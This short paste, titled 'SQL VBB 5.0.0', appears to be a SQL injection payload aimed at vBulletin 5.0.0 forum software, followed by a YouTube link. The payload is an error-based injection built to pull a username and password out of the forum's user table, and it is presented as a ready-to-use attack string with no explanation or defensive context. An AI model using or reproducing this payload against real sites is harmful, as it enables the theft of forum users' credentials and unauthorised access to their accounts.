SQL VBB 5.0.0

) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338

http://www.youtube.com/watch?v=CMWUtv3bwcQ&list=SPF6T3E4DLjOT9PpTwkuTONYR-kHc-CeI6